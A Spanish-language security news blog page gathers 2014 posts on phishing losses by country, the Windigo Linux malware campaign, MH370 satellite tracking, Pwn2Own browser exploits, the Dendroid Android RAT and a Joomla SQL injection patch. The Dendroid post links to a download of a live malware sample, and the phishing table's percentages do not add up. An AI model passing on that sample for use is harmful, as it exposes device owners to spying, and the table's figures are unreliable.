<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj93YE8ee7_mjNxYbJVqrANLKWd08r1_CtxlctVZt5YP4eZeBPvjxarX-GcS_zNwGaseHnUfhCaebJol2i-iNpG11wqewoks68VagDLUqezpUcnEBP9HAPf_Xhma6hFbLUZPd5R0Hq-2Vjt/s1600/PHISHING+BY+GEOGRAPHY.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj93YE8ee7_mjNxYbJVqrANLKWd08r1_CtxlctVZt5YP4eZeBPvjxarX-GcS_zNwGaseHnUfhCaebJol2i-iNpG11wqewoks68VagDLUqezpUcnEBP9HAPf_Xhma6hFbLUZPd5R0Hq-2Vjt/s1600/PHISHING+BY+GEOGRAPHY.png" width="400" /></a></div>

 

 Los principales países que fueron influenciados por phishing en 2013
 fueron EE.UU., Reino Unido, Alemania, India, Sudáfrica, Canadá, Países 
Bajos, Colombia, Australia y Brasil. Si nos fijamos en la pérdida que se
 produjo debido a los fraudes de phishing en los diferentes países, 
Reino Unido se mantuvo en la cima con $467 millones , mientras que 
Alemania se situó en segunda posición con $386 millones.

<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: medium none;">
 <tbody>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Countries</div>
</td>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Phishing Volume</div>
</td>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Estimated Loss</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
UK</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
31%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$467
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Germany</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
25%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$386
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
South
 Africa</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
15%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$222
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
India</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
54%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$225
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Australia</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
21%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$87
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
China</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
14%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$59
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Colombia</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
43%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$95
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Brazil</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
39%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$86
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Mexico</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
8%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$19
 millions</div>
</td>
 </tr>
</tbody></table>

 Algunas precauciones sencillas para mantenerse alejado de ataques de phishing: 
 • No haga clic en vínculos desconocidos, ya que le pueden redirigir a una página web falsa para recoger sus credenciales. • Preferiblemente escriba la dirección URL en lugar de hacer clic en cualquier enlace recibido por correo. •
 Si se le está pidiendo información de su tarjeta de crédito o cualquier
 información financiera, compruebe la autenticidad de la página <a href="https://www.clickssl.com/" target="_blank">web con HTTPS</a> y el icono de candado. • Siempre verifique su cuenta bancaria y de <a href="https://www.clickssl.com/blog/secure-credit-card-while-shopping-online" target="_blank">tarjetas de crédito</a> con regularidad para observar cualquier transacción sospechosa. • Utilice un filtro de phishing y software anti-virus que puede protegerle contra el malware.

Phishing Scam: una táctica de atracción que conmociona al mundo cibernético

El phishing es un ciberdelito reconocido hoy en día e incluso Google no está a salvo de este fraude. Phishing es típicamente un correo el...

Operación #Windigo: malware utilizado para atacar más de 500.000 computadoras

Desde el año pasado venimos publicando información sobre códigos maliciosos que afectan Linux. Tal es el caso de <a href="http://www.welivesecurity.com/la-es/2014/02/21/analisis-profundidad-linuxebury/" rel="nofollow" target="_blank">Linux/Ebury</a> un backdoor OpenSSH utilizado para controlar los servidores y robar credenciales y <a href="http://www.welivesecurity.com/la-es/2013/04/29/linuxcdorked-a-nuevo-backdoor-apache-utilizado-masivamente-propagar-blackhole/" rel="nofollow" target="_blank">Linux/Cdorked</a>
 un backdoor HTTP utilizado para redirigir el tráfico Web. Sin embargo, 
después de una muy importante investigación desarrollada por el <a href="http://www.welivesecurity.com/la-es/2014/03/18/operacion-windigo-malware-utilizado-para-atacar-mas-500-000-computadoras/" rel="nofollow" target="_blank">Laboratorio de Investigación de ESET</a>,
 en colaboración con CERT-Bund (Swedish National Infrastructure for 
Computing) y otros organismos, se pudo determinar que ambos casos están 
relacionados y pertenecen a una campaña de infección denominada <a href="http://www.welivesecurity.com/wp-content/uploads/2014/03/Operaci%C3%B3n-Windigo-ESET-Espa%C3%B1ol.pdf" rel="nofollow" target="_blank">Windigo</a> [PDF]. 
 
Con esta campaña los atacantes lograron infectar miles de servidores 
Linux y Unix, los cuales una vez comprometidos son usados para robar 
credenciales SSH, para redirigir a quienes visitan los sitios web a 
contenido malicioso y para enviar spam. 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeIu4lDbKXqCnP_AvH9542cdoWfhyphenhyphenCNp6MOnk6ON5r0CncEUMW2J6aehXeWxB1W5X2mvKz06DUs5SmqiE6CTQt7Lmf1pUq5nV3r3-AuI50FATKd_MQH0Tz-BL1p5h_Au1sz_fBstBZNW7y/s1600/Windingo_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeIu4lDbKXqCnP_AvH9542cdoWfhyphenhyphenCNp6MOnk6ON5r0CncEUMW2J6aehXeWxB1W5X2mvKz06DUs5SmqiE6CTQt7Lmf1pUq5nV3r3-AuI50FATKd_MQH0Tz-BL1p5h_Au1sz_fBstBZNW7y/s1600/Windingo_1.jpg" width="400" /></a></div>
 
 
Esta operación ha afectado servidores y empresas de alto perfil, entre 
las que se incluyen cPanel (la empresa tras el famoso panel de control 
de hosting de sitios Web) y kernel.org de la Fundación Linux (el 
repositorio principal de código fuente para el núcleo de Linux. 
 
De acuerdo con nuestro análisis, más de 25.000 servidores se han visto 
afectados en los últimos dos años, de los cuales más de 10.000 aún están
 infectados. Si bien la cantidad de equipos afectados no está cerca de 
los millones que puede afectar un código malicioso en Windows, es 
importante tener en cuenta que esta cantidad es muy significativa si se 
tiene presente que cada uno de estos sistemas tienen acceso a ancho de 
banda considerable, almacenamiento, potencia de cálculo y la memoria. En
 América Latina, los reportes indican aproximadamente 900 servidores 
infectados en Brasil, más de 250 en Argentina y 300 en México. 
 
<a href="http://www.welivesecurity.com/la-es/2014/03/18/operacion-windigo-malware-utilizado-para-atacar-mas-500-000-computadoras/">Contenido completo en fuente original ESET Latinoamérica</a> 
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

Desde el año pasado venimos publicando información sobre códigos maliciosos que afectan Linux. Tal es el caso de Linux/Ebury un backdoor Op...

Tecnología para ubicar aviones y las señales recibidas por #MH370

La pérdida hace una semana de un Boeing 777 ha generado gran interés 
acerca de cómo ubicar un avión, y se ha mencionado el uso de tecnología 
satelital. 
 
Aquí una breve explicación de la tecnología involucrada y lo que debe 
haber ocurrido desde el punto de vista técnico. Como referencia, estas 
son algunas de las tecnologías disponibles hoy para vigilancia de la 
ubicación de aeronaves en vuelo: 
 
Radar y transponder: El radar tradicional es una señal de radio 
que se emite desde un lugar conocido, en una dirección conocida 
(típicamente con una antena direccional rotatoria) y que al reflejarse 
desde el fuselaje permite calcular su posición. Adicionalmente, los 
aviones pueden tener un transponder (mezcla de receptor y transmisor) 
que incrementa el alcance y complementa dicho rebote con información 
adicional sobre su identidad y posicion. 
 
DS-B / UAT: Una solución más moderna y autónoma, ADS-B es una 
señal en UHF emitida por cada aeronave que incluye su identificación y 
posición. Gracias a no depender totalmente de infraestructura y personal
 en tierra, esta tecnología permite a pilotos contar con información 
precisa sobre aeronaves que le rodean. En EEUU además se utiliza una 
tecnología similar llamada UAT en una frecuencia diferente. 
 
La foto, provista por <a href="https://www.facebook.com/photo.php?fbid=10203124147522107&set=a.3425060102806.2160694.1159370615" rel="nofollow" target="_blank">Felipe Sáez</a>, muestra un receptor capaz de captar las comunicaciones ADB-S. 
 
La información ADS-B emitida desde aeronaves en UHF es recepcionable 
desde tierra por cualquier usuario con un receptor adecuado, lo cual ha 
dado lugar a servicios que colectan y presentan dicha información a 
través de la Internet, como <a href="http://www.flightradar24.com/" rel="nofollow" target="_blank">FlightRadar24</a> y <a href="http://flightaware.com/live/flight/MAS370/history/20140307/1635Z/WMKK/ZBAA/tracklog" rel="nofollow" target="_blank">Flightaware</a>. El alcance de las emisiones ADS-B suele ser de no más de 300km y no hay satélites que puedan recibirla directamente. 
 
ACARS (Aircraft Comunications Addressing Reporting System) / ATN / FANS:
 La industria ha desarrollado diversos sistemas de comunicación de datos
 para facilitar la gestión de vuelos y el uso de espacio aéreo. Estos 
sistemas pueden utilizar enlaces de VHF, HF y satelitales para enviar y 
recibir información, incluyendo detalles que permiten vigilancia de 
localización y rumbo. 
 
Cuando una aeronave se encuentra cerca de una zona habitada, suele ser 
monitoreada a través de radar pasivo, transponder y ADB-S, además de 
enviar y recibir datos por VHF. Cuando se encuentra en una zona más 
aislada (por ejemplo sobre el océano) su posición es reportada vía voz y
 datos sobre HF y a veces también por vía satelital. 
 
Una vía satelital de amplio uso aeronáutico (más de 11 mil terminales) 
es Inmarsat, mediante un servicio llamado AMSS. El Aeronautical Mobile 
Satellite Service (Servicio Móvil Aeronáutico satelital) es operado por 
Inmarsat desde 1990 y se accede a él a través de terminales como Aero H,
 Swift64 y eventualmente SwiftBroadband. 
 
Además de permitir servicios para pasajeros de voz y datos, la 
conectividad por Inmarsat aporta un datalink para que aplicaciones como 
ACARS y FANS funcionen en lugares donde VHF no llega y donde HF es poco 
eficaz. 
 
Jon Ostrower del Wall Street Journal ha señalado que el último vuelo MH370 <a href="https://twitter.com/jonostrower/status/444863260010225664" rel="nofollow" target="_blank">contaba con un módem Swift 64</a>
 conectado a los satélites de tercera generación I3 de Inmarsat. Debido a
 que dicho módem no estaba con servicio contratado y además quienes 
tomaron el control del avión habrían descativado ACARS, no se conoce el 
trayecto final del avión con detalle. 
 
Pero gracias a que el módem estaba registrado en la constelación de 
Inmarsat, Swift 64 hacía contacto periódico con el satélite I-3F1 
ubicado a 64 grados Este sobre el océano Índico. 
 
Según <a href="http://blog.tmfassociates.com/" rel="nofollow" target="_blank">Tim Farrar</a>
 el módem al estar registrado respondía periódicamente a "pings" desde 
los satélites de Inmarsat, confirmando su correcto funcionamiento. 
Parámetros como tiempo, potencia y ángulo de las últimas respuestas 
habrían permitido a Inmarsat determinar a la distancia entre el avión 
del satélite en ese momento, lo cual da lugar a un arco, en rojo en el 
diagrama publicado por <a href="http://www.nytimes.com/interactive/2014/03/15/world/asia/satellite-contact-map.html" rel="nofollow" target="_blank">The New York Times</a>. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSuZ_6jnfbpeEF35kJKsHsN4w27CZDe1l29eF8FoWPfnV4JY4IDyRCwFLfSwJlBuJH__v0F1vdFbCDDYbJO6AhctTLdEj2V8EThDbNjEm5iPd50_ucQJ_VLb6aEA29berzFk7LuvnPfsua/s1600/mh370.png" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="269" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSuZ_6jnfbpeEF35kJKsHsN4w27CZDe1l29eF8FoWPfnV4JY4IDyRCwFLfSwJlBuJH__v0F1vdFbCDDYbJO6AhctTLdEj2V8EThDbNjEm5iPd50_ucQJ_VLb6aEA29berzFk7LuvnPfsua/s1600/mh370.png" width="320" /></a></div>
 
Cabe señalar que de haber sido de una generación más nueva 
(SwiftBroadband), la información entregada por el módem sería más 
específica, porque los satélites de la constelación I-4 de Inmarsat 
tienen la posibilidad de enfocar sobre zonas más específicas y no 
solamente hemisferios completos como la constelación I3. 
 
Adicionalmente a la constelación de Inmarsat, también es posible usar 
Iridium como datalink, esto es especialmente interesante para vuelos que
 pasan sobre los polos de la Tierra, donde Inmarsat tiene dificultad 
para conectar debido al uso de órbitas geosíncronas ecuatoriales. 
 
El vuelo MH370 de Malaysia Airlines se perdió el 8 de marzo, con 12 
tripulantes y 227 pasajeros a bordo. Hasta el momento no hay indicios de
 su paradero. <a href="http://www.inmarsat.com/news/inmarsat-statement-malaysia-airlines-flight-mh370/" rel="nofollow" target="_blank">Inmarsat ha emitido un comunicado</a> donde explica que está entregando información a las autoridades, con el fin de ayudar a encontrar la aeronave o sus restos. 
 
Fuente: <a href="http://www.satelital-movil.com/2014/03/senales-que-ayudan-saber-donde-estan.html" rel="nofollow" target="_blank">Satelital Movil</a><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

La pérdida hace una semana de un Boeing 777 ha generado gran interés acerca de cómo ubicar un avión, y se ha mencionado el uso de tecnologí...

Todos los navegadores caen en Pwn2Own 2014

Los días 12 y 13 de marzo se celebró <a href="http://www.pwn2own.com/" rel="nofollow" target="_blank">una nueva edición del Pwn2Own</a>,
 el concurso donde los descubridores de vulnerabilidades para los 
principales navegadores en diferentes sistemas operativos y plugins se 
llevan importantes premios económicos. Internet Explorer, Firefox, 
Chrome y Safari, no se libraron de los ataques y mostraron su cara más 
débil. 
 
Pwn2Own es el evento anual que aglutina a los mejores investigadores de 
seguridad y donde se ponen a prueba los navegadores web más populares en
 diferentes sistemas operativos, así como en los plugins más atacados: 
Adobe Reader, Flash y Java. Pwn2Own, que se celebra en la ciudad 
canadiense de Vancouver, está patrocinado por la empresa Zero Day 
Initiative ZDI de HP, una compañía que se encarga de poner en contacto a
 investigadores de seguridad y compañías de software para garantizar una
 publicación coordinada de vulnerabilidades. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJFqI9iteQvRJpYZrzyax3CPGOOmOTP6pnwhPOr5GXPepNzCW74VsoOliZpG_IsGRKhzz2qCBET_JvxOKsa99KT6w_XE3KZ8Z_9kE2mDJhuzvmnMzMjB6KanuFLECLlG8POzHDWCydNweG/s1600/pwn2ownmobile.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJFqI9iteQvRJpYZrzyax3CPGOOmOTP6pnwhPOr5GXPepNzCW74VsoOliZpG_IsGRKhzz2qCBET_JvxOKsa99KT6w_XE3KZ8Z_9kE2mDJhuzvmnMzMjB6KanuFLECLlG8POzHDWCydNweG/s1600/pwn2ownmobile.jpeg" width="400" /></a></div>
 
 
<a href="http://www.pwn2own.com/2014/03/pwn2own-results-for-wednesday-day-one/" rel="nofollow" target="_blank">El primer día</a>
 se cerró con cinco intentos exitosos contra otros tantos productos 
diferentes, que se llevaron 400.000 dólares en premios más otros 82.000 
en donaciones a la Cruz Roja Canadiense en el evento Pwn4Fun. 
 
En el Pwn4Fun, Google mostró un exploit contra Apple Safari que 
conseguía lanzar la Calculadora como root en Mac OS X. Mientras que ZDI 
presentó un exploit de múltiples fases, que incluía una fuga de la 
"sandbox", contra Microsoft Internet Explorer, que conseguía ejecutar la
 Calculadora Científica (con permisos intermedios). 
En el Pwn2Own propiamente dicho, Jüri Aedla consiguió la ejecución de 
código en Mozilla Firefox a través de una lectura/escritura fuera de 
límites. Mariusz Mlynski, mostró dos vulnerabilidades, también contra 
Mozilla Firefox, la primera permitía la escalada de privilegios mientras
 que la segunda permitía evitar las medidas de seguridad del navegador. 
 
Por otra parte, el Equipo VUPEN consiguió cuatro ataques exitosos, tres 
de ellos con resultado final de ejecución de código. El primero contra 
Adobe Flash, por un uso después de liberar memoria con un salto de la 
"sandbox" de Internet Explorer. Contra Adobe Reader un desbordamiento de
 búfer junto con un escape de la "sandbox" PDF y contra Firefox un uso 
después de liberar memoria. Por ultimo, un escape de la "sandbox" de 
Microsoft Internet Explorer. 
 
<a href="http://www.pwn2own.com/2014/03/pwn2own-results-thursday-day-two/" rel="nofollow" target="_blank">El segundo día</a>
 fue igualmente productivo con siete participantes contra cinco 
productos, que consiguieron 450.000 dólares en premios. Lo que hace un 
total de 850.000 dólares en premios. 
 
Un participante anónimo presentó una vulnerabilidad de lectura/escritura
 arbitraria contra Google Chrome que permitía evitar la "sandbox" y 
lograr la ejecución de código. Sebastian Apelt y Andreas Schmidt 
presentaron una vulnerabilidad en el kernel y dos de uso después de 
librar memoria contra Internet Explorer, que conseguían ejecutar la 
Calculadora con permisos del sistema. 
 
Por otra parte Liang Chen de Keen Team, mostró un desbordamiento de 
búfer junto con un escape de la "sandbox" que afectaba a Apple Safari. 
George Hotz, presentó un ataque contra Mozilla Firefox, con 
lectura/escritura fuera de límites. Por el Equipo VUPEN contra Google 
Chrome un uso después de liberar que afectaba tanto a Blink como a 
WebKit junto con un escape de la "sandbox" y por último de Zeguang Zhou 
de team509 y Liang Chen del Keen Team un desbordamiento de búfer contra 
Adobe Flash que permitía escapar de la "sandbox". Todos estos problemas 
permitían la ejecución de código. 
 
Todas las vulnerabilidades han sido reportadas de forma responsable y 
los fabricantes ya trabajan en actualizaciones para corregir estos 
problemas. 
 
Fuente: <a href="http://unaaldia.hispasec.com/2014/03/los-principales-navegadores-caen-en-el.html" rel="nofollow" target="_blank">Hispasec</a> 
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

Los días 12 y 13 de marzo se celebró una nueva edición del Pwn2Own , el concurso donde los descubridores de vulnerabilidades para los prin...

Dendroid: troyaniza cualquier App de Google Play

La comunidad anda algo revuelta porque en algunos foros underground un 
tal 'Soccer' ha ofrecido una herramienta para Android que por sólo 300 
dólares (pagables a través de monedas no rastreables como Bitcoin) 
troyaniza cualquier app en sencillos pasos, incluye soporte 24x7, un 
avanzado panel de control en PHP y sobretodo permite evadir el bouncer 
de Google Play. 
 
Conocido como <a href="http://www.symantec.com/connect/blogs/android-rats-branch-out-dendroid" rel="nofollow" target="_blank">Dendroid</a>,
 este nuevo RAT descubierto inicialmente por Symantec se vende como un 
"APK Binder" que puede utilizar cualquier aplicación original de Android
 e incorporar su propio malware, es decir, la carga útil del troyano. 
Después de distribuir la aplicación infectada, los clientes del RAT de 
Dendroid pueden controlar la propagación de la infección a través de 
herramientas basadas en la web. 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9YfSyTJjRC0AI4sJIQfZ5kw7HtUZKeMIqZldUYtWotfaIEEBQxpE8upEQU8yM5OK1TJ6Siks73qgwq84jSI_F00_tO6xryT_K1j2Gr7FGjDaz1836yzt2l8uU0ixRnfE69Gt3V0EXdn_v/s1600/Dendroid_Fig1_0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="103" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9YfSyTJjRC0AI4sJIQfZ5kw7HtUZKeMIqZldUYtWotfaIEEBQxpE8upEQU8yM5OK1TJ6Siks73qgwq84jSI_F00_tO6xryT_K1j2Gr7FGjDaz1836yzt2l8uU0ixRnfE69Gt3V0EXdn_v/s1600/Dendroid_Fig1_0.png" width="320" /></a></div>
 
 
Los dispositivos android infectados se convierten en zombies controlados
 remotamente por el autor, lo que permite un acceso prácticamente 
ilimitado a las fotos, los datos y los mensajes en el dispositivo. 
Dendroid proporciona también acceso completo a la cámara y el micrófono,
 y puede realizar llamadas o escuchar las conversaciones telefónicas de 
un usuario o ver los mensajes de texto. 
 
Según la firma de seguridad Lookout, "entre sus numerosas 
características, Dendroid cuenta con algunos códigos relativamente 
simples - pero inusuales - de detección de anti-emulación que ayudan a 
evadir la detección por parte del Bouncer, el sistema de detección 
anti-malware de Google para su tienda oficial" 
 
Parece que este troyano tiene cierta relación con la anterior herramienta <a href="http://www.hackplayers.com/2013/05/androrat-un-troyano-rat-para-android.html">AndroRAT</a>
 ya que en algunos mensajes de asistencia se han remitido mensajes 
relacionados con el anterior malware. ¿Te apetece analizarlo? <a href="http://contagiominidump.blogspot.com.es/2014/03/dendroid-android-spyware.html" rel="nofollow" target="_blank">descarga la muestra</a> (Tim Strazzere). 
 
Fuente: <a href="http://www.hackplayers.com/2014/03/dendroid-troyaniza-cualquier-app-de-google-play.html">HackPlayers</a> 
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

La comunidad anda algo revuelta porque en algunos foros underground un tal 'Soccer' ha ofrecido una herramienta para Android que po...

Joomla 3.2: grave vulnerabilidad de SQL Injection (Parchea!)

<div style="text-align: justify;">
En febrero saltó a la palestra una <a href="http://www.securitybydefault.com/2014/03/analisis-de-inyeccion-sql-critica-en.html" rel="nofollow" target="_blank">grave vulnerabilidad de inyección SQL</a> que afectaba al gestor de contenidos Joomla!, reportada por <a href="http://osvdb.org/creditees/12083-killall-9">killall-9.</a>
 En esta ocasión, y a diferencia de lo que suele siempre ocurrir, la 
vulnerabilidad residía en el núcleo de la aplicación y no en módulos o 
plugins. Por lo que cualquier instalación de Joomla anterior a 3.2.2 es vulnerable por defecto.</div>
<div style="text-align: justify;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo55eEVCLTu0JUq6iLE8FqOGwfu8C80AGX8oAwcv583UHrhJv5n6TlwALeed59HrgMQEYWf6qLzmSj3RLYSER5KZpjIYQWo7bTGWwioHSgj3t1QMSlWoBQ4xkVuspuyPss-YpQdxNp3uI/s1600/joomla-sqli-expl.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo55eEVCLTu0JUq6iLE8FqOGwfu8C80AGX8oAwcv583UHrhJv5n6TlwALeed59HrgMQEYWf6qLzmSj3RLYSER5KZpjIYQWo7bTGWwioHSgj3t1QMSlWoBQ4xkVuspuyPss-YpQdxNp3uI/s1600/joomla-sqli-expl.png" width="400" /></a></div>
 
El equipo de desarrollo de Joomla! acaba de publicar dos nuevas 
versiones de su CMS para las ramas 2.5.x y 3.2.x. Ambas están 
catalogadas como actualizaciones de seguridad y es importante actualizar
 a la mayor brevedad. Para la rama 3.2 hay cuatro problemas de seguridad
 corregidos (uno de calificación alta de inyección SQL y tres de 
calificación media) además de unos 40 bugs corregidos; para la rama 2.5 
hay 6 errores corregidos y 2 de seguridad de calificación media. 
 
